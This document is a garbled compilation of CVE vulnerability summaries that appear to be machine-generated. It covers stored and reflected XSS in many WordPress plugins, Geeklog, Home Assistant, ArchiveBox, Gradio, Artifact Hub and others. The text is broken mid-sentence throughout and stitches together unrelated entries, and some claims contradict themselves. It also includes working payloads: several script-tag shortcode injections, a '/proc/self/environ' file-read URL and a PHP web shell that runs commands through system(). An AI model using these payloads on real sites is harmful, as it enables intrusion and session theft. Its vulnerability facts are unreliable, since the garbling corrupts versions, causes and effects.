The exploit can be used to gain full control over the target system, allowing the attacker to modify system configurations, access sensitive data, and create new accounts with administrative rights.

The exploit can be used to gain full control over the target system, allowing the attacker to modify system configurations, access sensitive data, and create new accounts with administrative rights.

s, logs, or proprietary information that should be secure. The attacker can only read files with the same permissions as the web server.

Methods to navigate up the directory tree (a typical technique in directory traversal) to reach files outside the web server's root directory without proper strict input validation on the web server to prevent directory traversal sequences and implemented security measures. Versions prior to 0.1. This vulnerability could allow a remote authenticated attacker to upload files to the server, execute arbitrary code through a crafted payload. The vulnerability is present in the 'admin/trackback' component within Geeklog v.2.2.2. If an administrator accesses this affected component and the message field contains a malicious payload, the application will execute it.

Directory traversal vulnerability allows attackers to access directories and files stored outside of the web root directory. To mitigate this risk, regularly review and apply security patches to their systems, enforce strong authentication mechanisms, and use two-factor authentication where available. The vulnerability is present in the 'admin/trackback' component within Geeklog v.2.2.2. If an administrator accesses this affected component and the message field contains a malicious payload, the application will execute it.

[/geeklog/reflected_XSS_in_editservice.md](#).

An attacker would tailor this to the specific circumstances and vulnerabilities of the Geeklog system, such as the privileges of the victim. An attacker could send a link with the malicious payload to an administrator or user, allowing them to execute arbitrary web scripts or HTML by injecting a crafted payload into the Message field when creating a new ticket. This could lead to session hijacking, defacement of the website, phishing, and stealing of sensitive data like cookies or personal information. This could lead to large-scale attacks affecting multiple users, compromise of user accounts, and loss of sensitive data.

Execute JavaScript code to display an alert box in any user's browser who views the ticket, if the application's fields such as message creation, are properly sanitized to prevent arbitrary script execution. Script code into the application's Web UI, which can alter the application's functionality and potentially affect other users. This code could be executed within the context of the user's ticket.

<https://www.ibm.com/support/pages/node/7057377> In IBM Security Verify Governance 10.0, the script could execute and perform actions on behalf of the user.

by injecting a crafted payload into the Label input parameter while updating a custom list. Execution of unauthorized code within the browsers of users who interact with the compromised elements could lead to various attacks, such as session hijacking, redirecting users to fraudulent sites, or delivering malware through script execution. Factors such as impact, exploitability, and scope.

Without proper sanitization or escaping.

`<script>'XSS';</script>`. When this payload is stored and later rendered in the web application without proper sanitization, it could also be leveraged for more advanced attacks such as phishing campaigns.

scripts or HTML by injecting a crafted payload into the Role Name parameter.

ould be executed in the browsers of other users who view the injected content.

legitimate admin or staff member views this role, the script executes, which could lead to session hijack or security audits and ensuring that input validation and output encoding mechanisms are in place to prevent which allows an attacker to embed arbitrary JavaScript code in the Web UI, potentially leading to the alteration of the UI's intended functionality and could also result in credential disclosure if the malicious

[m/vulnerabilities/262174](https://www.ibm.com/vulnerabilities/262174) and <https://www.ibm.com/support/pages/node/7057407>.
the application. When a legitimate user accesses the compromised UI, the script executes within their browser, leading to a segmentation fault.

Read in DataSegment::IsValidRange() which could manifest in situations where this function is called the Out-of-Bound Memory Read. If additional bugs are present, it could potentially lead to information disclosure or lead to a segmentation fault which may allow attackers to execute arbitrary code or disrupt the normal operation of the application.

arbitrary code, corrupt memory, or cause a DoS (Denial of Service) by crashing the affected software.

le that an application processes or through untrusted code that is executed by the WebAssembly engine.

e resource, and then using `postMessage()` to send base64 encoded screenshot data back to a listener. The extension can take screenshots of the content and send it in encoded form to an attacker.

esource, such as a banking website or local file system. When the Vue.js Devtools extension is active, it checks before accepting messages in `postMessage()` handlers to verify the source and the type of data being sent.

ng attacks, stealing session cookies, or defacing web pages.

[frappe/frappe/pull/22339](https://github.com/frappe/frappe/pull/22339), and <https://github.com/frappe/frappe/security/advisories/GHSA-j2w9-8xrif>. The extension triggers an onload event that executes JavaScript code: ``. Th

s controls on a network access administration web interface.

re vulnerable.

can be exploited for malicious purposes including further network intrusion, data theft, or escalation of system privilege. Refer to WALLIX's official support alerts at <https://www.wallix.com/support/alerts> published with the information available.

event widespread exploitation before the majority of users have applied necessary patches.

User could potentially bypass the access controls without authentication and access sensitive internal network resources. It's also advisable to regularly check for updates and security patches provided by WALLIX.

ability allows remote attackers to read any local file on the server hosting the application if Gradio authentication is enabled. An attacker could craft a URL like 'http://[web_ui_address]/file?path=/proc/self/environ' to read the environment variables. This is achieved by enabling of Gradio authentication without configuring a secret key. When these conditions are met, an attacker can perform lateral movements within a network. Specifically, an attacker could read the '/proc/self/environ' file to exploit the vulnerability by properly handling file access and potentially adding additional authorization rules. Mitigate the vulnerability using the links provided in the CVE references, specifically, the reported issue at '<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-46306>'

specifically, shell metacharacters in the '/admin/gnssAutoAlign.php' device_id parameter are not properly sanitized.

the NetModule Router Software, CVE-2023-46306 persisted and required a later update to resolve.

NetModule Router Software, specifically 4.6.0.106 and 4.8.0.101, which can be found through their product page. The affected router software versions. The attacker could use shell metacharacters in the input to construct a command that executes arbitrary code.

value.

?) <https://www.wordfence.com/threat-intel/vulnerabilities/id/9841b57b-b869-4282-8781-60538f6f26>: The 'add_custom_body_class' value, which is not properly sanitized. When other users, including admins, visit the affected pages, they can inject malicious JavaScript content into the 'add_custom_body_class' parameter when submitting a comment. If the plugin is not available, users might consider deactivating and removing the plugin until the vulnerability is addressed.

1 hash of the site URL and client ID, values that can potentially be obtained from the page source of the affected page. This can lead to access, data tampering, or execution of malicious code.

o- <https://plugins.trac.wordpress.org/browser/salesmanago/trunk/src/Includes/Helper.php#L376>: The code is manipulating the weak authentication token for the /wp-json/salesmanago/v1/callbackApiV3 API endpoint. The page source is:

```
$weak_auth_token = sha1($site_url . $client_id); // API endpoint callback checking the weak auth token
```

This vulnerability results from insufficient input sanitization and output escaping, specifically through the 'tab' parameter.

clicking on this link. If clicked, the script would execute in the context of the user's browser, potentially us site. This could lead to a compromise of user accounts, data breaches, and damage to the reputatio

reat-intel/vulnerabilities/id/115ad0b2-febe-485a-8fb5-9bd6edc37ef7?source=cve
; </script> ``When an admin clicks this link, and if they are logged into their WordPress dashboard, the
ent to the 'ping' function of the 'thingnario Logger Maintenance Webpage' endpoint.
ut to this function, the script could be executed, allowing the attacker to run arbitrary code and poten
bf625.
he score can be determined later after thorough analysis.

In disguise this script as a legitimate request to the 'thingnario Logger Maintenance Webpage' and send it to the endpoint. To restrict access to the vulnerable endpoint, implement thorough input validation, and continuously monitor logs through a specially crafted script injected into the website_footer parameter within the admin/settings section associated with this vulnerability.

In the context of a user's browser session, it can lead to unauthorized actions being performed, such as stealing cookies.

proof of concept, mitigation steps, or further analysis about the vulnerability.

nce available, following standards such as CVSS (Common Vulnerability Scoring System).

em, like the website_footer. When an administrator accesses the compromised section of the site, the hich affects all versions up to, and including, version 1.0. The vulnerability arises due to the lack of pro inspecting user clicks on this link or interacts with this code, the payload executes within their brows his vulnerability.

discusses client-side prototype pollution in general, and a vulnerability report at '<https://www.wordfence.com/vulnerabilities/javascript-prototype-pollution/>' This example is a simplified version showing how an attacker might initially occur when an application includes user supplied data in a response sent to the client without properly sanitizing it. For example, consider a user who is switching to a different theme that is secure. Additionally, implementing content security policies (CSP) can help mitigate this risk, including 1.4.3. The vulnerability arises due to insufficient input sanitization and output escaping, allowing an attacker to inject malicious code into the page.

lution, leading to Reflected Cross-Site Scripting. Upon clicking the link, the vulnerable application would load the web page, as well as the ability to rewrite the contents of the page and perform actions on behalf of the user.

[/vulnerabilities/id/6f8b75a1-f0f2-445b-a1c7-1628916470d3?source=cve](#)

security issue. Additionally, ensuring that all input is properly sanitized and output is correctly escaped. The 'language' parameter is not properly sanitized, this script can be executed in the context of the user's browser. This vulnerability was present in version 1.9.8. The vulnerability stems from insufficient input sanitization and output escaping, allowing malicious scripts into webpages viewed by other users. The scripts can be executed by the browser, leading to unpatched security patches to mitigate the risk.

text of the website due to the prototype pollution vulnerability of the Your Journey theme on WordPress. For more detailed information about the prototype pollution issue, and Wordfence's vulnerability database '<https://www.wordfence.com/vulnerabilities/>' for updates on the vulnerability's severity and impact.

Associated with this vulnerability.

used by insufficient input sanitization and output escaping on user-supplied attributes, allowing auth

scripts. For reference to the specific changes made, one can look at the plugin's changelog or revision history in a post or a page that contains malicious JavaScript code in its attributes. If the input is not properly sanitized, the detailed vulnerability report by Wordfence at <https://www.wordfence.com/threat-intel/vulnerabilities/> lists the plugin up to and including 3.1. The vulnerability arises due to insufficient input sanitization and output escaping. The attacker could craft a malicious input that includes JavaScript code and use the 'acf_form' shortcode to include a malicious JavaScript payload. When other users—such as site visitors or administrators—view the page, the malicious script would execute in their browsers, potentially leading to a exploit.

The 'acf_form' shortcode is used for addressing the issue. It is recommended to update the plugin to version 3.1 or later, as well as regularly review and apply updates to all WordPress plugins and themes to protect against known vulnerabilities. A detailed vulnerability report by Wordfence at <https://www.wordfence.com/threat-intel/vulnerabilities/> provides more information on how to fix this issue.

user-supplied attributes.

shortcode. When other users visit this page, the malicious script would execute in their browsers, potentially leading to a exploit. The detailed vulnerability report by Wordfence at <https://www.wordfence.com/threat-intel/vulnerabilities/> provides more information on how to fix this issue.

versions of the plugin up to, and including, 0.8.9.3. The vulnerability arises due to insufficient input sanitization. The attacker could craft a malicious input that includes JavaScript code and use the 'acf_form' shortcode to include a later version that contains a fix for this vulnerability.

rmation from users; redirecting users to malicious websites; defacing the website; or performing actions such as injecting harmful code into the database. To mitigate this vulnerability, it is recommended to regularly review and apply updates to all WordPress plugins and themes to protect against known vulnerabilities. A detailed vulnerability report by Wordfence at <https://www.wordfence.com/threat-intel/vulnerabilities/> provides more information on how to fix this issue.

nts, redirecting users to harmful websites, or defacing web pages. The attacker can inject JavaScript or other malicious code into the database. To mitigate this vulnerability, it is recommended to regularly review and apply updates to all WordPress plugins and themes to protect against known vulnerabilities. A detailed vulnerability report by Wordfence at <https://www.wordfence.com/threat-intel/vulnerabilities/> provides more information on how to fix this issue.

properly implemented, attackers can inject arbitrary web scripts into the admin pages. These scripts can

reports, automated security scans, or during the investigation of a security incident. acts multi-site installations or instances where the 'unfiltered_html' capability has been disabled for u
ake necessary mitigation steps. [ress.org/changeset...wpvivid-backuprestore/trunk](https://api.wordpress.org/changeset...wpvivid-backuprestore/trunk) which could contain the patch, and a Wordfence tl
eats such as data theft, altered web page content, and compromised user sessions. In a scenario wher

CVE-2023-5109 vulnerability, as they are capable of exploiting it to perform Stored Cross-Site Scripting (XSS) attacks. For example, if an attacker with contributor-level access creates or edits a page, they could

[a-mailto-links-validate.php%!582- https://www.wordfence.com/threat-intel/vulnerabilities/id/ec8820f](mailto:links-validate.php%!582- https://www.wordfence.com/threat-intel/vulnerabilities/id/ec8820f)

This stems from insufficient input sanitization and output escaping, allowing authenticated attackers with

g to Clipboard plugin is installed.

context of a user's session, potentially leading to actions like stealing session cookies, defacing web pages, or launching denial-of-service attacks.

-the-code/tags/2.6.4/classes/class-copy-the-code-shortcode.php#L83- The changes made to address tl

bute='<script>/* Malicious JavaScript Code Here */</script>'] This code would be stored in the database for updates from the plugin author and ensure that the latest security patches are applied to their WordPress plugin. This vulnerability arises due to insufficient input sanitization and output escaping of user-submitted data. An authenticated attacker with editor-level permissions can exploit this vulnerability by embedding malicious scripts into pages using the `poptin-form` shortcode. The base score was not available at the time the information was published. It is likely that the attacker might insert the following into a post or page: [poptin-form id=""]<script>alert('XSS');</script>[/poptin-form]. The WordPress Plugin Directory changeset details: <https://plugins.trac.wordpress.org/changeset/16592>. Site administrators should also review the `poptin.php` file for vulnerabilities by properly sanitizing user inputs and escaping output. Site administrators should also review the `wp_kses()` function for potential security issues related to this vulnerability due to insufficient input sanitization and output escaping, which allows authenticated attackers to inject malicious code into the database.

ious sites.

Another user, such as a site visitor or another admin, accesses a page with the injected script, the script will trigger as a link to a report detailing the vulnerability provided by Wordfence.

The plugin settings, ensuring input is properly sanitized, and output is correctly escaped to prevent XSS attacks up to, but not including, 7.1.0. It arises due to insufficient input sanitization and output escaping, allowing modern Events Calendar lite plugin. These scripts are not properly sanitized or escaped by the plugin, leading to potential XSS vulnerabilities.

. It is important to note that only those with the capability to add or edit custom HTML or scripts can execute in the browsers of other users visiting the affected pages, leading to actions like cookie jar log of the Modern Events Calendar lite plugin's official website, as well as in a vulnerability report b

; vulnerability. It is also recommended to follow general security best practices, such as limiting admin ; 4.0.14 and affects admin settings due to insufficient input sanitization and output escaping. site or have the unfiltered_html capability disabled.

, the attacker could add a script element or an on-event handler with JavaScript code to a field that do in WordPress environments.

her assessed.

site at <https://www.armemberplugin.com>, and detailed vulnerability reports such as the one from W his vulnerability could allow for Remote Code Execution (RCE) through specific file types that should ha

ystem where the vulnerable software is installed by exploiting specific file types that are not adequate measures to prevent the remote code execution through more comprehensive blacklisting of dangerous klisted by the M-Files Web Companion software. They could then persuade a victim to open this file t /trust-center/security-advisories/cve-2023-5524/.

TS SR1. This flaw allows for Remote Code Execution (RCE) by an attacker.

)23-5523/
ion.

' patches to address the vulnerability.

ld lead to Remote Code Execution on the target machine, allowing the attacker to take control of the s at affects versions up to, and including, 1.4.8 of the plugin. The vulnerability arises due to inadequate i nject JavaScript or other web scripts into pages through user-supplied attributes. Since the plugin fai to resolve this vulnerability.

on is available, administrators should consider disabling or removing the plugin until a security update are: - WordPress plugin Trac showing parts of the vulnerable code: <https://plugins.trac.wordpress.org/>

romise the integrity and confidentiality of user data and website administration. Such an attack can re end output escaping on user-supplied attributes through the 'flipbook' shortcode. This vulnerability affi this Stored XSS vulnerability to inject arbitrary web scripts into pages. When other users access an aff ugin.

e or post. For instance, the attacker could insert something like the following within the flowpaper shc , and an advisory with more details can be accessed through Wordfence threat intelligence at <https://> e, website administrators should consider deactivating the plugin until the security issue is resolved to nissions or higher who may have the ability and potential motivation to execute XSS attacks.

iper plugin to determine if a later version has addressed and fixed the vulnerability described by CVE-2

ipping. As a result, the injected scripts will execute whenever a user accesses an injected page.

: intelligence page for vulnerability details.

ious JavaScript code. When any user visits the page with the embedded script, the code may execute, |
r input validation and output encoding practices are in place.

:lization and output escaping. The flaw is present in the 'sitekit_iframe' shortcode of the plugin in versi
with contributor-level access to the website can inject malicious scripts into the web pages using the 's
plugin's 'sitekit_iframe' shortcode to inject malicious scripts into pages, due to the plugin's failure to p
g JavaScript code:[sitekit_iframe src='javascript:alert("XSS")']Due to the lack of proper sanitization, this
s.org/browser/sitekit/trunk/inc/sitekit-shortcode-iframe.php#L32. The WordPress Plugin Trac with a r
verity of a vulnerability based on several metrics. Since there is no base score mentioned, users and ad
volve a version greater than 1.4, which is the last known vulnerable version for this CVE. If a security p
ct their WordPress sites using the Sitekit plugin.

he vulnerability is caused by inadequate input sanitization and output escaping, allowing authenticate
s, an attacker with contributor-level access to the WordPress interface can craft a malicious shortcode,
ot generally exploitable by the public unless they gain the necessary permissions by some means, such
n be executed every time the page is accessed, leading to potential unauthorized access, data theft, ac
SON feature. Attackers could use shortcodes similar to [leaflet-geojson src="URL" malicious_attribute=br/>rs should check those references or the plugin's official documentation/updates for confirmation on w
y database. Such disclosures are intended to inform the community and prompt users to update or pat
cks and administrators are advised to update to a non-vulnerable version as soon as one becomes avai
5.13.1. The vulnerability stems from missing or incorrect nonce validation in the builder.php file, whic
est could modify sensitive settings such as the stripe connect token, without proper authorization, due

2023-4975. However, the exact details of the patch and whether an updated version has been release
could lead to financial fraud or redirect payment processing to an attacker-controlled account, as well
construct a malicious HTML page or email with an embedded request, like an image or iframe, that po
e issue arises from insufficient input sanitization and output escaping on user-supplied attributes, mak

lugin.

ort a malicious JavaScript snippet within the attributes of the shortcode, such as `<script>alert('XSS')</s
browser/wplegalpages/tags/2.9.2/public/class-wp-legal-pages-public.php#L150 https://plugins.trac.w

:aping. The vulnerability affects all versions of the plugin up to and including 4.6, allowing authenticate
tacker would craft a malicious iframe shortcode containing JavaScript code and insert it into a post or

er:[iframe src="javascript:alert('XSS');"]Due to the vulnerability, this shortcode isn't sanitized correctly,
://plugins.trac.wordpress.org/browser/iframe/tags/4.5/iframe.php#L28, https://plugins.trac.wordpres
cts versions up to and including 5.3.1. It arises due to insufficient sanitization of the 'style' parameter i
avaScript or HTML code into the 'style' parameter of the Auto Amazon Links plugin. Since the plugin fa

cks such as: stealing cookies or session tokens, defacing the website, redirecting visitors to malicious v
org/changeset?sfp_email=&sfph_mail=&reponame=&new=2961861%40amazon-auto-links%2Ftrunk&
/ should consider disabling the plugin until a patch is released. Site administrators should also audit us
input sanitization and output escaping. In affected versions up to, and including 2.1.1, it allows authenti
'res_button_size' parameter in the admin settings of the Photospace Responsive plugin. The lack of prc

that page. This could lead to data theft, session hijacking, or redirecting the user to a phishing page. Si
visories, such as the one from Wordfence's threat intelligence portal: - <https://plugins.trac.wordpress.c>ed Cross-Site Scripting (XSS) vulnerability, which allows an attacker to execute arbitrary script code in a
ers view the document, the malicious script is executed in their browsers. This could lead to a range of
[https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-2325/](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-2325)

R4 or 23.8 LTS SR1, as these versions contain fixes that address the vulnerability.
ng, 0.6.2. The flaw arises due to inadequate input sanitization and output escaping, which allows auth
ie plugin's settings.
n. For example, an attacker might input a script such as `<script>alert('XSS');</script>` into the field. Si
cious outcomes including stealing session cookies, personal data, defacing websites, redirecting users <https://trunk/waiting.php?rev=2826039>). [Wordfence Threat Intelligence Vulnerabilities Report](<https://www.wordfence.com/threat-intel/vulnerabilities>)

deactivating and removing the plugin until a secured version is released. Additionally, administrators
vulnerability was either not yet scored or the scoring details were not included in the provided informa
9.1 of the plugin. This vulnerability allows unauthenticated attackers to inject arbitrary web scripts int
jected scripts are saved on the server and will execute in the browser of any user who views the com

ecuted by a user's browser when they access the compromised page, potentially leading to unauthoriz
ct consequences depend on the nature of the injected script and the context in which it is executed.
561#L13382. Wordfence Threat Intel: <https://www.wordfence.com/threat-intel/vulnerabilities/id/6cd5>
plugin versions up to and including 1.0.1 are affected due to inadequate input sanitization and output

e. This could potentially lead to the theft of sensitive information, session hijacking, and other malicio

nce.com/threat-intel/vulnerabilities/id/77911b0f-c028-49ae-b85e-15909d806e30?source=cve
, the attacker could submit a post including something like [whatsapp title="<script>alert('XSS')</script>". If available, consider deactivating and removing the plugin or applying other protective measures such as

ous scripts will execute whenever a user accesses a page where the infected shortcode is present.

t of the webpage, or redirecting to malicious sites, among other impacts.

[ins.trac.wordpress.org/changeset/2979783/theme-switcha#file1](https://trac.wordpress.org/changeset/2979783/theme-switcha#file1).

at-intel/vulnerabilities/id/2b0937fe-3ea6-427a-aef7-539c08687abb?source=cve.

where the issue has been resolved.

ript>"]`, where `malicious_code_here()` represents the attacker's script and `attr` is one of the user-supplied attributes with contributor-level access and above to inject arbitrary web scripts into pages via the plugin's `n fails to properly sanitize and escape user-supplied attributes before outputting them, facilitating the

ned attribute that contains JavaScript code. When a user views that post on the site, the JavaScript executes `[tpsscode attr=""><script>alert("XSS")</script>]`. This shortcode, injected by an attacker, might bypass users to malicious sites, defacing webpages, or carrying out further attacks against visitors of the site of the website, impacts could range from minor nuisances for users to serious security breaches, like <https://wpvulndb.com/browser/super-testimonial/tags/2.8/tp-testimonials.php#L214> and a specific change activate and remove the plugin if no fix is available. It is also advisable to audit user roles on the web server up to and including 1.0.0.315. It arises due to inadequate validation of indexes which allows attackers to sufficient validation, the server accepts the tainted name. Then, when a legitimate user navigates to the sensitive information from users, defacing web pages, or redirecting users to malicious sites. Since the <https://wpvulndb.com/itsApxt/CVE-2023-45471>.

QAD Search Server to a version that has patched the vulnerability, along with conducting thorough investigation to ensure the vulnerability is addressed.

it to be triggered via the `*.ui.nabu.casa` URL without authentication, despite being marked as only active. It is advised to upgrade to this version or later to mitigate the vulnerability.

been fixed by the maintainers.

stant instance. The SniTun proxy would then forward this request as originating from the local host (127.0.0.1:3v2j-rf45 and in the related blog post on the Home Assistant website at <https://www.home-assistant.io/>). This is a critical vulnerability of Home Assistant.

which could lead to various attacks including JavaScript execution, limited native code execution, and allow an attacker to perform actions on behalf of the user, or steal sensitive information by presenting a phishing page. These are associated with this CVE.

ate the vulnerability.

allow an attacker to manipulate the app's functionality, change displayed content, or perform actions without details on the vulnerability, its impact, and the patch may be available in this advisory.

Security Lab's documentation or system.

Common Vulnerability Scoring System (CVSS) score is assigned to gauge the severity of a vulnerability. In this case, the X-Frame-Options header, which could allow an attacker to conduct clickjacking attacks on the interface in such a way that the user unknowingly performs actions within Home Assistant (clickjacking). Other headers such as X-Frame-Options. This vulnerability could also lead to other types of attacks, such as Remote Code Execution.

to version 2023.9.0 where this issue has been resolved.

Advisories/GHSA-935v-rmg9-44mw- Another related security advisory: <https://github.com/home-assistant/core/security/advisories/GHSA-935v-rmg9-44mw>. This advisory details a Clickjacking vulnerability due to the absence of the X-Frame-Options header, which can lead to clickjacking attacks and potentially allow attackers to trick users into interacting with a malicious site.

It is recommended to upgrade to version 0.23.4 or later to mitigate the risk associated with this vulnerability.

<https://www.home-assistant.io/blog/2023-03-01-cross-site-scripting/>

This advisory details a Cross Site Scripting (XSS) vulnerability. When a user connects to an alternative WebSocket backend controlled by the attacker, they can obfuscate the attack process, making it harder for the victim to realize they are being compromised. It is recommended to upgrade to these versions to mitigate the vulnerability.

Consultants, they required significant time to identify an XSS vector that would work, despite having full control over the handling of `redirect_uri` and `client_id` parameters, allowing for the execution of arbitrary JavaScript. This is achieved through the misuse of the `redirect_uri` and `client_id` parameters during the login process.

assistant user into logging in through this page, resulting in execution of malicious JavaScript. This could be mitigated by upgrading to version 2023.9.0 or later, where the issue has been resolved.

<https://github.com/home-assistant/core/security/advisories/GHSA-xq-x42r-f7mv>. This advisory provides details about the vulnerability and the necessary steps to address it.

This issue exposes users to potential malicious JavaScript execution when viewing the logged-in admin credentials. This could let attackers add, remove, or modify snapshots and Archivex snapshots and iterating through it, leading to a potential data leakage scenario.

The script executes in the same context as the admin panel and other archived pages, bypassing the browser's security measures. If you are logged out of the admin interface when not in use and consider serving a static HTML version of the page instead of the ArchiveBox interface.

When an admin user of ArchiveBox views this archived content, the malicious code executes. This is enabled. When an admin user of ArchiveBox views this archived content, the malicious code executes. This is posted by ArchiveBox at <https://github.com/ArchiveBox/ArchiveBox/security/advisories/GHSA-cr45>.

This can lead to the execution of arbitrary web scripts in the context of the user's browser environment CMS v.4.2.1. This can lead to the execution of arbitrary web scripts in the context of the user's browser environment.

Such as dbhost or adminemail. For example, an attacker might enter a payload like "><script>alert('". This is such as dbhost or adminemail. For example, an attacker might enter a payload like "><script>alert('". It is also advisable to conduct thorough input validation and apply output encoding to ensure the security of the application.

This vulnerability involves a bug that allowed the reading of internal files via symbolic links when processing repositories. Artifact Hub could clone the repository and read files from it without validating if the file was a symbolic link.

entials, or any internal file that the attacker could craft a symbolic link to. <https://github.com/artifact-hub/artifact-hub?modal=changelog&version=1.16.0>', and the security advisory on GitHub: '<https://github.com/artifact-hub/artifact-hub?modal=changelog&version=1.16.0>'.

use credentials. When Artifact Hub clones and processes this malicious repository, it could inadvertently use default unsafe rego built-in to be used in defining authorization policies, which could be exploited to make changes are written in rego and accept json documents as their data files. Rego's default behavior to allow

requests by default when defining authorization policies, thus mitigating the risk of unauthorized access. <https://github.com/artifact-hub/artifact-hub?modal=changelog&version=1.16.0-1> GitHub security advisory: <https://github.com/artifact-hub/artifact-hub?modal=changelog&version=1.16.0-1>

tacker to potentially hijack Docker credentials provided to Artifact Hub by setting up a fake OCI registry.

.io` itself uses the credentials in a limited way, other deployments might use similar credentials for private that domain. Due to the insufficient check in Artifact Hub's `registryIsDockerHub` function, it might trigger an overflow, which could potentially allow an anonymous attacker to redirect the control flow of the program.

s execution flow, which could lead to unauthorized access, disclosure of sensitive information, or potential technical document, and CISA released an advisory with information about the vulnerability.

3000 HMI device and handles specific requests. The vulnerability in this script is the entry point for the exceeds the expected buffer size, leading to the overflow, subsequently corrupting the stack and allowing an attacker. The referenced security update PDF from Weintek likely contains mitigation steps or patch https://www.weintek.com/Support/TEC/TEC23005E_cMT_Web_Security_Update.pdf', as well as the advisory released by CISA, accessible to the device.

operations.

rity_Update.pdf' and in the ICS advisory issued by CISA at '<https://www.cisa.gov/news-events/ics-advisories/icsa-23-285-12>' of service, or using the compromised HMI as a pivot point for further attacks within the network infrastructure (vulnerability) might look like the following in pseudocode: User input: 'user provided input' Command

cker could potentially gain unauthorized access to the system and execute arbitrary code, leading to a

<https://www.cisa.gov/news-events/ics-advisories/icsa-23-285-12> stack buffer, corrupting the call stack within the device's memory. As a result, the attacker could manipulate an unauthenticated attacker to execute persistent Cross-Site Scripting (XSS) and Cross-Site Request Forgery. Given full admin privileges, it is likely to be considered a serious issue once the severity is officially assessed.

face. Such attacks can lead to malicious scripts being executed in the context of the admin's session or 5992), and the Ruckus Wireless support security bulletins page (<https://support.ruckuswireless.com/>) will involve immediately applying any available patches or software updates to address the CVE-2023-271-02 vulnerability. Attackers could intentionally execute the script within their own administrative session, potentially exposing sensitive session data (DoS) by crashing the Directus application.

To mitigate the risk, website administrators should apply available patches and software updates.

<https://nvd.nist.gov/vuln/detail/GHSA-hmgw-9jrg-hf2m> (GHSA-hmgw-9jrg-hf2m). In this case, it can result in an unexpected crash, causing a Denial of Service (DoS) condition, disrupting the availability of the website via the 'cp_download_popup()' function.

The 'cp_download_popup()' function. If this function is improperly sanitizing user input, an attacker could manipulate the input to compromise the security of both the website and its users.

This issue has been reported multiple times by security advisories or researchers observing attacks. For example, a security advisory from Friends of Presta (<https://security.friendsofpresta.org/modules/2023-02-271-02>) and a security advisory from Friends of Presta (<https://security.friendsofpresta.org/modules/2023-02-271-02>) note that the 'cp_download_popup()' function does not properly sanitize user input. This lack of sanitization may allow an attacker to create malicious requests to obtain information about the version of the website or the web server, which should not be accessible to unauthorized users. The process of being evaluated.

CVE-2023-271-02.

The issue arises because the 'cp_download_popup()' function does not properly sanitize user input. An attacker could exploit known vulnerabilities associated with that specific version. More sophisticated attacks might use the 'hostname' parameter of the affected software to inject arbitrary JavaScript, potentially compromising interactions with the website. Various security threats such as stealing session cookies, defacing websites, or redirecting users to malicious applications could occur. Without proper sanitation, the JavaScript code could be executed in the context of the victim's browser. For example, if an attacker sends a malicious URL to the 'hostname' parameter, the JavaScript code within the URL will execute, displaying an alert box. This is just a benign example; they could also alter the content displayed to users, effectively defacing the website, or redirect users to other sites.

Properly sanitize the fetched URL.

The message listener includes code to request a URL based on the received message without proper validation:

```
{ if (event.origin !== 'expected origin') return; const url = event.data.url; // Missing validation or sanitization of url could lead to various attack scenarios such as: 1. Forcing the victim's browser to connect to and fetch content from a remote origin controlled by attackers to inject client-side scripts into web pages viewed by other users.
```

ebJET CMS, the script executes, which could result in cookie theft, session hijacking, or defacing the website. If this input is not properly sanitized by the WebJET CMS, it will be rendered as executable code. To prevent such attacks, it's important to validate user input, encode output, regularly conduct security audits, and follow best practices for web application security.

ing. The scripts will execute whenever a user accesses an injected page.

in a WordPress post like this: [tmfshortcode attribute='<script>alert("XSS");</script>'], where the 'attribute' value is 'tmfshortcode'. This is a known vulnerability in the TMF Shortcode plugin. Wordfence has released a patch for this issue. If an updated version is not available, users should consider disabling the plugin.

oplied attributes.

les/class-wcj-general-shortcodes.php#L1122

hen a user accesses a page with the injected content, potentially leading to actions such as stealing cookies or files. It's recommended to update to a new version that addresses the security issue. Users should check for updates to the Booster for WordPress plugin, as it includes a feature to upload files with active code, which can potentially be executed by the server or by a user's web browser.

ctions such as data theft, website defacement, spreading of malware, or gaining unauthorized access to the system.

article&sysparm_article=KB0107510

her scenario could involve uploading a JavaScript file that facilitates a Cross-Site Scripting (XSS) attack. For example, consider the following PHP code: if(isset(\$_REQUEST['cmd'])) { system(\$cmd); } else { echo 'This is a web shell!'; }?>``In this example, an attacker could upload a file named 'Controller/AdminController.php' to the server. The file contains the above code. By setting the 'backup_pagination' parameter to a malicious URL, an attacker can inject a payload that is executed by the browser, leading to potential script injections.

ting a URL that injects a script tag into the 'backup_pagination' parameter of the affected URL. It may look something like this: http://example.com/controller/admincontroller.php?backup_pagination=[malicious_payload].

ad7b3c95f220163a2411e35274c3ba, which likely contains a fix for the issue, and an advisory by Zigrin Software. The advisory states that the vulnerability is due to improper validation of parameters sent to the web UI. It's important to update the software to a patched version to prevent such attacks.

rom the underlying Linux file system of the affected system.

cisco-sa-sdwan-lfi-OWLbKUGe

SD-WAN Manager, potentially leading to further system compromise or data leakage.
file system.

on the system.

ts versions 1.5.22 and below of the plugin.

sessions, redirect users to malicious websites, or perform actions on behalf of the users without their consent. This vulnerability occurs because the plugin fails to properly validate user input. When a user visits a page containing malicious script, the browser reflects the malicious script from the URL into the page content, executing the script in the context of the user's session. The exploit URL is typically something like `http://example.com/wp-content/plugins/ics-plugin-5-85-cross-site-scripting-xss-vulnerability?_s_id=cve`.

If you suspect your site is affected by this vulnerability, it is recommended to update the plugin to the latest available version. If an update is not immediately available, consider disabling or removing the plugin until a fix is provided. Additionally, implementing general security measures such as regular backups and monitoring can help protect against such attacks.

ics-plugin-5-85-cross-site-scripting-xss-vulnerability?_s_id=cve

on other users or admins access these pages, the malicious script could execute, potentially leading to damage. This could lead to compromised user accounts, data breaches, and a loss of trust from the site's visitors.

whenever a user accesses an injected page.

The vulnerability is caused by a lack of proper sanitization of user input. When a user uploads a thumbnail image with a Lightbox plugin and includes malicious JavaScript code in the "Image Title" field, the plugin fails to properly validate the input. This allows the malicious script to be executed in the context of the user's session.

Nordfence. Here are some relevant links:- https://plugins.trac.wordpress.org/changeset?sfp_email=&version=1.0.1. This vulnerability allows an attacker to inject malicious JavaScript code into the user's session.

sanitize the input, the script will be stored and then executed in the context of the user's browser when the user views the compromised web page. This can lead to compromised user sessions and data breaches.

Vendor's updates for any security patches or version updates that address this vulnerability.

